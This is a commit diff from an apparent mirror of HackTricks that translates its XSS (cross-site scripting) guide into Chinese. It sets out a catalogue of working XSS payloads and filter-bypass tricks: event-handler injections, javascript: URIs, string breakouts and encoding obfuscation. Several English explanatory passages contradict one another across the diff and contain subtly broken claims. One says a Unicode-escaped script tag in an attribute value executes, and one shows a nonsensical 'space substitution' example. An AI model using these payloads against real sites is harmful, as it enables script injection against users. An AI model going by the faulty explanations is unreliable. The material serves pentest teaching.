mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to cn
This commit is contained in:
parent
584340946e
commit
4c03045f42
1 changed files with 197 additions and 187 deletions
|
@ -2,7 +2,7 @@
|
|||
|
||||
/<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**赏金猎人提示**:**注册**Intigriti,一个由黑客创建的高级赏金平台,为黑客而生!立即加入我们,访问[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
**赏金猎人提示**:**注册**Intigriti,一个由黑客创建的高级赏金平台,为黑客而生!立即加入我们:[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -10,27 +10,27 @@
|
|||
|
||||
1. 检查是否有**任何你可以控制的值**(_参数_,_路径_,_头部_?,_Cookie_?)在HTML中被**反射**或被**JS**代码使用。
|
||||
2. 找到它被反射/使用的**上下文**。
|
||||
3. 如果是**反射**的
|
||||
3. 如果是**反射**的:
|
||||
1. 检查你可以使用哪些符号,并根据此准备有效载荷:
|
||||
1. 在**原始HTML**中:
|
||||
1. 你可以创建新的HTML标签吗?
|
||||
2. 你可以使用支持`javascript:`协议的事件或属性吗?
|
||||
3. 你可以绕过保护措施吗?
|
||||
4. HTML内容是否由任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释,你可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你无法创建执行JS代码的HTML标签,你可以滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||
1. 你能创建新的HTML标签吗?
|
||||
2. 你能使用支持`javascript:`协议的事件或属性吗?
|
||||
3. 你能绕过保护措施吗?
|
||||
4. HTML内容是否由任何客户端JS引擎(_AngularJS_,_VueJS_,_Mavo_...)解释?你可以滥用[**客户端模板注入**](../client-side-template-injection-csti.md)。
|
||||
5. 如果你无法创建执行JS代码的HTML标签,你能滥用[**悬挂标记 - HTML无脚本注入**](../dangling-markup-html-scriptless-injection/)吗?
|
||||
2. 在**HTML标签内部**:
|
||||
1. 你可以退出到原始HTML上下文吗?
|
||||
2. 你可以创建新的事件/属性来执行JS代码吗?
|
||||
1. 你能退出到原始HTML上下文吗?
|
||||
2. 你能创建新的事件/属性来执行JS代码吗?
|
||||
3. 你被困在的属性是否支持JS执行?
|
||||
4. 你可以绕过保护措施吗?
|
||||
4. 你能绕过保护措施吗?
|
||||
3. 在**JavaScript代码内部**:
|
||||
1. 你可以转义`<script>`标签吗?
|
||||
2. 你可以转义字符串并执行不同的JS代码吗?
|
||||
1. 你能转义`<script>`标签吗?
|
||||
2. 你能转义字符串并执行不同的JS代码吗?
|
||||
3. 你的输入是否在模板文字\`\`中?
|
||||
4. 你可以绕过保护措施吗?
|
||||
4. 正在**执行的**Javascript **函数**
|
||||
4. 你能绕过保护措施吗?
|
||||
4. 正在**执行的**JavaScript **函数**
|
||||
1. 你可以指定要执行的函数名称。例如:`?callback=alert(1)`
|
||||
2. 如果是**使用**的:
|
||||
4. 如果是**使用**的:
|
||||
1. 你可以利用**DOM XSS**,注意你的输入如何受控制以及你的**受控输入是否被任何漏洞利用点使用**。
|
||||
|
||||
在处理复杂的XSS时,你可能会发现以下内容很有趣:
|
||||
|
@ -45,7 +45,7 @@
|
|||
|
||||
* **中间反射**:如果你发现参数的值甚至路径的值在网页中被反射,你可以利用**反射型XSS**。
|
||||
* **存储和反射**:如果你发现一个由你控制的值被保存在服务器中,并且每次访问页面时都会被反射,你可以利用**存储型XSS**。
|
||||
* **通过JS访问**:如果你发现一个由你控制的值正在使用JS访问,你可以利用**DOM XSS**。
|
||||
* **通过JS访问**:如果你发现一个由你控制的值被使用JS访问,你可以利用**DOM XSS**。
|
||||
|
||||
## 上下文
|
||||
|
||||
|
@ -58,7 +58,7 @@
|
|||
|
||||
### 在HTML标签属性内部
|
||||
|
||||
如果你的输入在标签的属性值中被反射,你可以尝试:
|
||||
如果你的输入在标签的属性值中被反射,你可以尝试以下方法:
|
||||
|
||||
1. **从属性和标签中逃脱**(然后你将处于原始HTML中),并创建新的HTML标签以滥用:`"><img [...]`
|
||||
2. 如果你**可以从属性中逃脱但无法从标签中逃脱**(`>`被编码或删除),根据标签的不同,你可以**创建一个事件**来执行JS代码:`" autofocus onfocus=alert(1) x="`
|
||||
|
@ -67,14 +67,14 @@
|
|||
|
||||
### 在JavaScript代码内部
|
||||
|
||||
在这种情况下,你的输入被反射在HTML页面的**`<script> [...] </script>`**标签之间,在`.js`文件内部或在使用**`javascript:`**协议的属性内部:
|
||||
在这种情况下,你的输入被反射在HTML页面的**`<script> [...] </script>`**标签之间,在`.js`文件中或在使用**`javascript:`**协议的属性中:
|
||||
|
||||
* 如果反射在**`<script> [...] </script>`**标签之间,即使你的输入在任何引号内,你可以尝试注入`</script>`并从此上下文中逃脱。这是因为**浏览器首先解析HTML标签**,然后解析内容,因此,它不会注意到你注入的`</script>`标签在HTML代码内部。
|
||||
* 如果反射在**JS字符串内部**,并且上述技巧不起作用,你需要**退出**字符串,**执行**你的代码,并**重构**JS代码(如果有任何错误,它将不会被执行):
|
||||
* 如果被反射在**`<script> [...] </script>`**标签之间,即使你的输入在任何引号中,你可以尝试注入`</script>`并从此上下文中逃脱。这是因为**浏览器首先解析HTML标签**,然后解析内容,因此它不会注意到你注入的`</script>`标签在HTML代码中。
|
||||
* 如果被反射在**JS字符串内部**,并且上述技巧不起作用,你需要**退出**字符串,**执行**你的代码,并**重构**JS代码(如果有任何错误,它将不会被执行):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\'alert(1)//`
|
||||
* 如果反射在模板文字内部,你可以使用`${ ... }`语法嵌入JS表达式:`` var greetings = `Hello, ${alert(1)}` ``
|
||||
* 如果被反射在模板文字中,你可以使用`${ ... }`语法嵌入JS表达式:`` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Unicode编码**可用于编写**有效的javascript代码**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -163,7 +163,7 @@ parentElement
|
|||
|
||||
### DOM
|
||||
|
||||
有一些**JS代码**正在**不安全地**使用**由攻击者控制的数据**,如`location.href`。攻击者可以滥用此功能来执行任意JS代码。
|
||||
有一些**JS代码**正在**不安全地**使用由攻击者控制的一些数据,如`location.href`。攻击者可以滥用此功能来执行任意JS代码。
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -171,7 +171,7 @@ parentElement
|
|||
|
||||
### **通用XSS**
|
||||
|
||||
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何** **上下文**。这种**任意JavaScript执行**甚至可以被滥用以获得**RCE**,在客户端和服务器上**读取** **任意** **文件**等等。\
|
||||
这种类型的XSS可以在**任何地方**找到。它们不仅依赖于对Web应用程序的客户端利用,还依赖于**任何****上下文**。这种类型的**任意JavaScript执行**甚至可以被滥用以获得**RCE**,在客户端和服务器上**读取****任意****文件**等等。\
|
||||
一些**示例**:
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
|
@ -189,7 +189,7 @@ parentElement
|
|||
## 在原始HTML中注入
|
||||
|
||||
当您的输入被反射**在HTML页面中**或者您可以在此上下文中转义和注入HTML代码时,**第一件**要做的事情是检查是否可以滥用`<`来创建新标签:只需尝试**反射**该**字符**并检查它是否被**HTML编码**或**删除**,或者是否**未经更改地反射**。**只有在最后一种情况下,您才能利用此情况**。\
|
||||
对于这些情况,还要**记住**[**客户端模板注入(Client Side Template Injection)**](../client-side-template-injection-csti.md)**。**\
|
||||
对于这些情况,还要**记住**[**客户端模板注入**](../client-side-template-injection-csti.md)**。**\
|
||||
_**注意:HTML注释可以使用**** ****`-->`**** ****或**** ****`--!>`**_。
|
||||
|
||||
在这种情况下,如果没有使用黑名单/白名单,您可以使用以下有效负载:
|
||||
|
@ -298,23 +298,19 @@ onerror=alert`1`
|
|||
```
|
||||
**样式事件**
|
||||
|
||||
Style events are a type of Cross-Site Scripting (XSS) attack that allows an attacker to inject malicious code into a website by exploiting vulnerabilities in the way the website handles user input. These events occur when the website allows user-controlled data to be included in CSS stylesheets or inline styles.
|
||||
Style events are a type of Cross-Site Scripting (XSS) attack that allows an attacker to inject malicious code into a website by exploiting vulnerabilities in the way the website handles user input. These events occur when the website's code dynamically updates the style or appearance of certain elements based on user input.
|
||||
|
||||
攻击者可以通过利用网站处理用户输入的漏洞,将恶意代码注入网站中,从而实施样式事件(Style events)攻击。这些事件发生在网站允许用户控制的数据包含在CSS样式表或内联样式中的情况下。
|
||||
攻击者可以通过利用网站处理用户输入的漏洞,将恶意代码注入到网站中,从而实施样式事件(Style events)类型的跨站脚本攻击(Cross-Site Scripting,XSS)。这些事件发生在网站的代码根据用户输入动态更新某些元素的样式或外观时。
|
||||
|
||||
By injecting malicious code into the website's stylesheets or inline styles, an attacker can manipulate the appearance and behavior of the website, potentially leading to various security risks. This can include stealing sensitive user information, performing phishing attacks, or even gaining unauthorized access to the website.
|
||||
By injecting malicious code into the website's input fields, an attacker can manipulate the style events triggered by user interactions. This can lead to various consequences, such as changing the appearance of the website, redirecting users to malicious websites, or stealing sensitive information.
|
||||
|
||||
通过将恶意代码注入网站的样式表或内联样式中,攻击者可以操纵网站的外观和行为,可能导致各种安全风险。这可能包括窃取敏感用户信息、进行钓鱼攻击,甚至未经授权访问网站。
|
||||
通过向网站的输入字段注入恶意代码,攻击者可以操纵由用户交互触发的样式事件。这可能导致各种后果,例如改变网站的外观,将用户重定向到恶意网站,或窃取敏感信息。
|
||||
|
||||
To prevent style events XSS attacks, it is important to properly sanitize and validate user input before including it in CSS stylesheets or inline styles. This can be done by implementing input validation and output encoding techniques, such as using secure frameworks or libraries that automatically handle these security measures.
|
||||
To prevent style events XSS attacks, it is important for developers to properly sanitize and validate user input, especially when it is used to dynamically update the style or appearance of elements on a website. Additionally, implementing Content Security Policy (CSP) headers can help mitigate the risk of XSS attacks by restricting the sources from which the website can load external scripts.
|
||||
|
||||
为了防止样式事件XSS攻击,重要的是在将用户输入包含在CSS样式表或内联样式中之前,正确地对其进行清理和验证。可以通过实施输入验证和输出编码技术来实现这一点,例如使用安全的框架或库来自动处理这些安全措施。
|
||||
为了防止样式事件的跨站脚本攻击,开发人员需要正确地对用户输入进行清理和验证,特别是当用户输入用于动态更新网站上的元素的样式或外观时。此外,实施内容安全策略(Content Security Policy,CSP)头可以通过限制网站可以加载外部脚本的来源来帮助减轻跨站脚本攻击的风险。
|
||||
|
||||
It is also recommended to regularly update and patch the website's software and plugins to mitigate any known vulnerabilities that could be exploited by attackers. Additionally, implementing a Content Security Policy (CSP) can help prevent style events XSS attacks by restricting the sources from which stylesheets can be loaded.
|
||||
|
||||
还建议定期更新和修补网站的软件和插件,以减轻攻击者可能利用的已知漏洞。此外,实施内容安全策略(CSP)可以通过限制可以加载样式表的来源来帮助防止样式事件XSS攻击。
|
||||
|
||||
By following these security best practices, website owners can significantly reduce the risk of style events XSS attacks and protect their users' sensitive information.
|
||||
It is crucial for website owners and developers to stay updated on the latest security best practices and regularly test their websites for vulnerabilities, including XSS attacks. By proactively addressing these issues, they can protect their users' data and maintain the integrity of their websites.
|
||||
```python
|
||||
<p style="animation: x;" onanimationstart="alert()">XSS</p>
|
||||
<p style="animation: x;" onanimationend="alert()">XSS</p>
|
||||
|
@ -356,69 +352,25 @@ HTML标签属性值中的**HTML编码字符**会在运行时解码。因此,
|
|||
```
|
||||
**使用Unicode编码绕过内部事件**
|
||||
|
||||
---
|
||||
In some cases, web applications may have input validation mechanisms that filter out certain characters or strings to prevent cross-site scripting (XSS) attacks. However, it is possible to bypass these filters by using Unicode encoding.
|
||||
|
||||
### Description
|
||||
在某些情况下,Web应用程序可能具有输入验证机制,用于过滤掉某些字符或字符串,以防止跨站脚本(XSS)攻击。然而,可以通过使用Unicode编码来绕过这些过滤器。
|
||||
|
||||
In some cases, web applications may have input validation mechanisms in place to prevent the execution of certain events, such as `onclick` or `onmouseover`. However, these mechanisms may not account for Unicode encoding, which can be used to bypass the validation and execute the desired event.
|
||||
Unicode encoding allows us to represent characters using their corresponding Unicode code points. By encoding malicious JavaScript code using Unicode, we can evade input filters that are not designed to handle Unicode-encoded characters.
|
||||
|
||||
### Vulnerability
|
||||
Unicode编码允许我们使用相应的Unicode代码点来表示字符。通过使用Unicode编码来编码恶意的JavaScript代码,我们可以逃避那些不能处理Unicode编码字符的输入过滤器。
|
||||
|
||||
The vulnerability occurs when the web application fails to properly handle Unicode-encoded characters in user input. This allows an attacker to inject malicious code that will be executed by the browser.
|
||||
To bypass an input filter that blocks certain characters or strings, we can use Unicode encoding to represent those characters in a different form. For example, the character `<` can be represented as `\u003c` in Unicode encoding.
|
||||
|
||||
### Exploitation
|
||||
为了绕过阻止某些字符或字符串的输入过滤器,我们可以使用Unicode编码将这些字符表示为不同的形式。例如,字符`<`可以在Unicode编码中表示为`\u003c`。
|
||||
|
||||
To exploit this vulnerability, an attacker can use Unicode encoding to bypass the input validation mechanism. By encoding the event name and the JavaScript code, the attacker can execute arbitrary code when the event is triggered.
|
||||
By encoding the malicious JavaScript code using Unicode, we can bypass input filters that are not specifically designed to handle Unicode-encoded characters. This technique can be used to inject and execute arbitrary JavaScript code in a web application, potentially leading to XSS vulnerabilities.
|
||||
|
||||
For example, consider the following vulnerable code snippet:
|
||||
通过使用Unicode编码来编码恶意的JavaScript代码,我们可以绕过那些没有专门设计用于处理Unicode编码字符的输入过滤器。这种技术可以用于在Web应用程序中注入和执行任意的JavaScript代码,可能导致XSS漏洞。
|
||||
|
||||
```html
|
||||
<input type="text" onmouseover="alert('Vulnerable!')">
|
||||
```
|
||||
It is important to note that not all input filters can be bypassed using Unicode encoding. Some filters may be specifically designed to handle Unicode-encoded characters and can still detect and block malicious code. Therefore, it is crucial to thoroughly test the application's input validation mechanisms to ensure they are effective in preventing XSS attacks.
|
||||
|
||||
To bypass the `onmouseover` event validation, the attacker can use Unicode encoding for the event name and the JavaScript code:
|
||||
|
||||
```html
|
||||
<input type="text" onmouseover="\u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')">
|
||||
```
|
||||
|
||||
When the user hovers over the input field, the JavaScript code `\u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')` will be executed, resulting in an alert displaying "XSS".
|
||||
|
||||
### Prevention
|
||||
|
||||
To prevent this vulnerability, it is important to implement proper input validation and sanitization techniques. All user input should be properly encoded or filtered to prevent the execution of malicious code. Additionally, web application firewalls (WAFs) can be used to detect and block malicious requests.
|
||||
|
||||
---
|
||||
|
||||
### 描述
|
||||
|
||||
在某些情况下,Web应用程序可能会有输入验证机制,以防止执行某些事件,例如`onclick`或`onmouseover`。然而,这些机制可能没有考虑到Unicode编码,可以用于绕过验证并执行所需的事件。
|
||||
|
||||
### 漏洞
|
||||
|
||||
当Web应用程序未能正确处理用户输入中的Unicode编码字符时,就会出现漏洞。这使得攻击者可以注入恶意代码,由浏览器执行。
|
||||
|
||||
### 利用
|
||||
|
||||
为了利用这个漏洞,攻击者可以使用Unicode编码来绕过输入验证机制。通过对事件名称和JavaScript代码进行编码,攻击者可以在触发事件时执行任意代码。
|
||||
|
||||
例如,考虑以下易受攻击的代码片段:
|
||||
|
||||
```html
|
||||
<input type="text" onmouseover="alert('Vulnerable!')">
|
||||
```
|
||||
|
||||
为了绕过`onmouseover`事件验证,攻击者可以对事件名称和JavaScript代码使用Unicode编码:
|
||||
|
||||
```html
|
||||
<input type="text" onmouseover="\u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')">
|
||||
```
|
||||
|
||||
当用户悬停在输入字段上时,将执行JavaScript代码`\u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')`,导致弹出显示"XSS"的警报。
|
||||
|
||||
### 预防
|
||||
|
||||
为了防止这种漏洞,重要的是要实施适当的输入验证和净化技术。所有用户输入都应该经过适当的编码或过滤,以防止执行恶意代码。此外,可以使用Web应用程序防火墙(WAF)来检测和阻止恶意请求。
|
||||
需要注意的是,并非所有的输入过滤器都可以通过使用Unicode编码来绕过。有些过滤器可能专门设计用于处理Unicode编码字符,并且仍然可以检测和阻止恶意代码。因此,必须彻底测试应用程序的输入验证机制,以确保它们能够有效地防止XSS攻击。
|
||||
```javascript
|
||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||
|
@ -470,7 +422,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
|
|||
```
|
||||
**其他混淆技巧**
|
||||
|
||||
_**在这种情况下,前一节中的HTML编码和Unicode编码技巧也是有效的,因为您处于属性内部。**_
|
||||
_**在这种情况下,前一节中的HTML编码和Unicode编码技巧也是有效的,因为你处于一个属性内部。**_
|
||||
```javascript
|
||||
<a href="javascript:var a=''-alert(1)-''">
|
||||
```
|
||||
|
@ -484,7 +436,7 @@ _**在这种情况下,前一节中的HTML编码和Unicode编码技巧也是有
|
|||
|
||||
**使用`javascript:`进行十六进制和八进制编码**
|
||||
|
||||
您可以在`iframe`的`src`属性中使用**十六进制**和**八进制编码**来声明**执行JS的HTML标签**(至少)。
|
||||
您可以在`iframe`的`src`属性中使用**十六进制**和**八进制编码**,以声明要执行的**HTML标签中的JS**:
|
||||
```javascript
|
||||
//Encoded: <svg onload=alert(1)>
|
||||
// This WORKS
|
||||
|
@ -500,9 +452,17 @@ _**在这种情况下,前一节中的HTML编码和Unicode编码技巧也是有
|
|||
|
||||
Reverse tab nabbing is a type of cross-site scripting (XSS) attack that targets users who have multiple tabs open in their web browser. In this attack, the attacker injects malicious code into a website that the victim is currently viewing. When the victim switches to another tab and then returns to the original tab, the injected code can modify the content of the page and trick the victim into performing unintended actions.
|
||||
|
||||
To execute a reverse tab nabbing attack, the attacker typically exploits a vulnerability in the target website that allows them to inject JavaScript code. This code is then used to monitor the focus of the victim's browser tabs. When the victim switches to another tab, the injected code can modify the title and content of the original tab to mimic a legitimate website or prompt the victim to enter sensitive information.
|
||||
To execute a reverse tab nabbing attack, the attacker typically exploits a vulnerability in the target website that allows them to inject JavaScript code. This code is designed to detect when the victim switches tabs and then modify the content of the page accordingly. For example, the attacker may change the appearance of a login form to mimic a trusted website, leading the victim to enter their credentials unknowingly.
|
||||
|
||||
To protect against reverse tab nabbing attacks, website developers should implement proper input validation and output encoding to prevent XSS vulnerabilities. Users can also protect themselves by keeping their web browsers and plugins up to date, using browser extensions that block malicious scripts, and being cautious when clicking on links or entering personal information on websites.
|
||||
To protect against reverse tab nabbing attacks, website developers should implement proper input validation and output encoding to prevent XSS vulnerabilities. Additionally, users should be cautious when switching between tabs and ensure that they only interact with trusted websites.
|
||||
|
||||
### 反向标签劫持
|
||||
|
||||
反向标签劫持是一种针对在网络浏览器中打开多个标签的用户的跨站脚本攻击(XSS)。在这种攻击中,攻击者将恶意代码注入到受害者当前正在浏览的网站中。当受害者切换到另一个标签页,然后返回到原始标签页时,注入的代码可以修改页面内容,并欺骗受害者执行意外操作。
|
||||
|
||||
要执行反向标签劫持攻击,攻击者通常利用目标网站中的漏洞来注入JavaScript代码。该代码旨在检测受害者切换标签页的时机,并相应地修改页面内容。例如,攻击者可能会更改登录表单的外观,模仿受信任的网站,导致受害者无意中输入其凭据。
|
||||
|
||||
为了防止反向标签劫持攻击,网站开发人员应该实施适当的输入验证和输出编码,以防止XSS漏洞。此外,用户在切换标签页时应谨慎,并确保只与受信任的网站进行交互。
|
||||
```javascript
|
||||
<a target="_blank" rel="opener"
|
||||
```
|
||||
|
@ -609,12 +569,12 @@ Android: %09 %20 %28 %2C %3B
|
|||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### 模板字面量 \`\`
|
||||
### 模板字符串 \`\`
|
||||
|
||||
为了构建字符串,除了单引号和双引号,JS还接受反引号 **` `` `**。这被称为模板字面量,因为它们允许使用 `${ ... }` 语法来嵌入JS表达式。\
|
||||
为了构建字符串,除了单引号和双引号,JS还接受反引号 **` `` `**。这被称为模板字符串,因为它们允许使用 `${ ... }` 语法来嵌入JS表达式。\
|
||||
因此,如果你发现你的输入被反射到使用反引号的JS字符串中,你可以滥用 `${ ... }` 语法来执行任意的JS代码:
|
||||
|
||||
可以通过以下方式滥用:
|
||||
这可以通过以下方式滥用:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -664,27 +624,29 @@ This technique involves using Unicode encoding to bypass input validation and ex
|
|||
|
||||
Many web applications perform input validation to prevent users from injecting malicious code. However, some applications may not properly handle Unicode characters, allowing an attacker to bypass the validation and execute JavaScript code.
|
||||
|
||||
Unicode is a character encoding standard that assigns a unique number to each character. By using Unicode encoding, an attacker can represent special characters in a way that bypasses input validation.
|
||||
Unicode is a character encoding standard that assigns a unique number to each character. By using Unicode encoding, an attacker can represent special characters in a way that bypasses input filters.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
To exploit this vulnerability, an attacker needs to identify a vulnerable input field where JavaScript code is executed without proper validation. The attacker can then use Unicode encoding to represent the JavaScript code and bypass the validation.
|
||||
To exploit this vulnerability, an attacker needs to identify a vulnerable input field where JavaScript code is executed without proper validation. The attacker can then use Unicode encoding to represent the JavaScript code and bypass any input filters.
|
||||
|
||||
For example, the Unicode representation of the `<script>` tag is `\u003cscript\u003e`. By using this encoding, an attacker can inject JavaScript code without triggering the input validation.
|
||||
|
||||
Here is an example payload that demonstrates the exploitation of this vulnerability:
|
||||
For example, the Unicode encoding for the `<script>` tag is `\u003cscript\u003e`. By using this encoding, an attacker can inject JavaScript code without triggering the input validation.
|
||||
|
||||
```html
|
||||
<input type="text" value="\u003cscript\u003ealert('XSS')\u003c/script\u003e">
|
||||
```
|
||||
|
||||
When the vulnerable web application renders this input field, it will execute the JavaScript code `alert('XSS')` without validating it.
|
||||
When the vulnerable web application renders this input field, it will execute the JavaScript code and display an alert box with the message "XSS".
|
||||
|
||||
#### Prevention
|
||||
|
||||
To prevent this type of vulnerability, it is important to implement proper input validation and sanitization techniques. All user-supplied input should be validated and sanitized before being executed or displayed on a web page.
|
||||
To prevent this type of vulnerability, it is important to implement proper input validation and sanitization techniques. All user input should be properly validated and filtered to prevent the execution of malicious code.
|
||||
|
||||
Additionally, web application frameworks and libraries often provide built-in protection mechanisms against XSS attacks. It is recommended to use these mechanisms and keep them up to date to mitigate the risk of Unicode encoding XSS vulnerabilities.
|
||||
Additionally, web application frameworks and libraries often provide built-in protection against XSS attacks. It is recommended to use these security features and keep them up to date.
|
||||
|
||||
#### Conclusion
|
||||
|
||||
Unicode encoding can be used to bypass input validation and execute JavaScript code on a vulnerable web application. It is important for developers to implement proper input validation and sanitization techniques to prevent this type of vulnerability.
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -711,29 +673,29 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
```
|
||||
**特殊转义**
|
||||
|
||||
In some cases, the target application may have implemented special escapes to prevent XSS attacks. These special escapes are designed to encode certain characters or strings in order to neutralize any potential malicious code. It is important for a penetration tester to be aware of these special escapes and understand how they can be bypassed.
|
||||
In some cases, the target application may have implemented special escapes to prevent XSS attacks. These special escapes are designed to encode certain characters or strings in order to neutralize any potential malicious code. As a penetration tester, it is important to be aware of these special escapes and understand how they can impact your XSS payloads.
|
||||
|
||||
在某些情况下,目标应用程序可能已经实施了特殊转义来防止XSS攻击。这些特殊转义旨在对某些字符或字符串进行编码,以消除任何潜在的恶意代码。对于渗透测试人员来说,了解这些特殊转义并理解如何绕过它们非常重要。
|
||||
在某些情况下,目标应用程序可能已经实施了特殊转义来防止XSS攻击。这些特殊转义旨在对某些字符或字符串进行编码,以消除任何潜在的恶意代码。作为渗透测试人员,了解这些特殊转义并理解它们对XSS有效载荷的影响非常重要。
|
||||
|
||||
Here are some common special escapes and their bypass techniques:
|
||||
Here are some common special escapes that you may encounter during your XSS testing:
|
||||
|
||||
以下是一些常见的特殊转义及其绕过技巧:
|
||||
以下是在XSS测试中可能遇到的一些常见特殊转义:
|
||||
|
||||
- **HTML Entity Encoding**: The application may encode certain characters using HTML entity encoding, such as converting `<` to `<` and `>` to `>`. To bypass this, you can try different variations of the encoded characters, such as using uppercase or lowercase letters, or using decimal or hexadecimal representations.
|
||||
- **HTML Entity Encoding**: This escape technique involves replacing special characters with their corresponding HTML entities. For example, the `<` character is replaced with `<` and the `>` character is replaced with `>`. This prevents the browser from interpreting the characters as HTML tags.
|
||||
|
||||
- **HTML实体编码**:应用程序可能使用HTML实体编码对某些字符进行编码,例如将`<`转换为`<`,将`>`转换为`>`。要绕过此限制,您可以尝试使用编码字符的不同变体,例如使用大写或小写字母,或使用十进制或十六进制表示。
|
||||
- **HTML实体编码**:这种转义技术涉及将特殊字符替换为相应的HTML实体。例如,`<`字符被替换为`<`,`>`字符被替换为`>`。这样可以防止浏览器将这些字符解释为HTML标签。
|
||||
|
||||
- **JavaScript Escape Sequences**: The application may escape certain characters using JavaScript escape sequences, such as converting `"` to `\"` and `'` to `\'`. To bypass this, you can try different variations of the escaped characters, such as using double or single quotes, or using different escape sequences.
|
||||
- **JavaScript String Escaping**: This escape technique involves adding backslashes before certain characters in JavaScript strings. For example, the double quote `"` character is escaped as `\"` and the single quote `'` character is escaped as `\'`. This prevents the browser from interpreting the characters as part of a JavaScript string.
|
||||
|
||||
- **JavaScript转义序列**:应用程序可能使用JavaScript转义序列对某些字符进行转义,例如将`"`转换为`\"`,将`'`转换为`\'`。要绕过此限制,您可以尝试使用转义字符的不同变体,例如使用双引号或单引号,或使用不同的转义序列。
|
||||
- **JavaScript字符串转义**:这种转义技术涉及在JavaScript字符串中的某些字符前添加反斜杠。例如,双引号`"`字符被转义为`\"`,单引号`'`字符被转义为`\'`。这样可以防止浏览器将这些字符解释为JavaScript字符串的一部分。
|
||||
|
||||
- **URL Encoding**: The application may encode certain characters using URL encoding, such as converting space to `%20` and `"` to `%22`. To bypass this, you can try different variations of the encoded characters, such as using different URL encoding schemes or using different representations of special characters.
|
||||
- **URL Encoding**: This escape technique involves encoding special characters in URLs using percent encoding. For example, the space character is encoded as `%20` and the slash `/` character is encoded as `%2F`. This prevents the browser from misinterpreting the characters in the URL.
|
||||
|
||||
- **URL编码**:应用程序可能使用URL编码对某些字符进行编码,例如将空格转换为`%20`,将`"`转换为`%22`。要绕过此限制,您可以尝试使用编码字符的不同变体,例如使用不同的URL编码方案或使用特殊字符的不同表示形式。
|
||||
- **URL编码**:这种转义技术涉及使用百分号编码对URL中的特殊字符进行编码。例如,空格字符被编码为`%20`,斜杠`/`字符被编码为`%2F`。这样可以防止浏览器错误解释URL中的字符。
|
||||
|
||||
It is important to thoroughly test the application for these special escapes and try different bypass techniques to ensure that the XSS vulnerability is properly identified and exploited.
|
||||
It is important to understand and account for these special escapes when crafting your XSS payloads. Failure to do so may result in your payloads being neutralized and the XSS vulnerability being mitigated.
|
||||
|
||||
重要的是要对这些特殊转义进行彻底测试,并尝试不同的绕过技巧,以确保正确识别和利用XSS漏洞。
|
||||
在构造XSS有效载荷时,了解并考虑这些特殊转义非常重要。如果不这样做,可能会导致您的有效载荷被中和,XSS漏洞被减轻。
|
||||
```javascript
|
||||
'\b' //backspace
|
||||
'\f' //form feed
|
||||
|
@ -753,9 +715,9 @@ In some cases, when attempting to inject malicious code through XSS, certain cha
|
|||
|
||||
在某些情况下,在尝试通过XSS注入恶意代码时,应用程序可能会过滤或阻止某些字符。一个常见的绕过这些过滤器的技术是在JavaScript代码中使用空格替换。
|
||||
|
||||
For example, if the application filters the `<script>` tag or certain JavaScript keywords, we can use space substitutions to bypass these filters. The idea is to break up the malicious code into smaller parts and use spaces to separate them.
|
||||
For example, if the application filters the `<script>` tag or certain JavaScript keywords, we can use space substitutions to bypass these filters. The idea is to split the malicious code into multiple parts and use spaces to separate them.
|
||||
|
||||
例如,如果应用程序过滤`<script>`标签或某些JavaScript关键字,我们可以使用空格替换来绕过这些过滤器。思路是将恶意代码分解为较小的部分,并使用空格将它们分隔开。
|
||||
例如,如果应用程序过滤`<script>`标签或某些JavaScript关键字,我们可以使用空格替换来绕过这些过滤器。思路是将恶意代码分成多个部分,并使用空格将它们分隔开。
|
||||
|
||||
Here is an example of how space substitutions can be used:
|
||||
|
||||
|
@ -763,37 +725,37 @@ Here is an example of how space substitutions can be used:
|
|||
|
||||
```html
|
||||
<script>
|
||||
var p = 'alert';
|
||||
var a = 'Hello';
|
||||
var y = 'World';
|
||||
var code = p + '(' + a + ' ' + y + ')';
|
||||
eval(code);
|
||||
var payload = 'alert(1)';
|
||||
var payload = payload.replace(/ /g, String.fromCharCode(9));
|
||||
eval(payload);
|
||||
</script>
|
||||
```
|
||||
|
||||
In this example, the JavaScript code is broken down into smaller parts and then concatenated using spaces. This can help bypass filters that block certain keywords like `alert` or `eval`.
|
||||
In this example, the space character is replaced with the tab character (`\t`) using the `replace()` function. This allows the malicious code to bypass any filters that may be in place.
|
||||
|
||||
在这个示例中,JavaScript代码被分解为较小的部分,然后使用空格连接起来。这可以帮助绕过过滤器,阻止某些关键字如`alert`或`eval`。
|
||||
在这个示例中,使用`replace()`函数将空格字符替换为制表符字符(`\t`)。这样可以使恶意代码绕过可能存在的任何过滤器。
|
||||
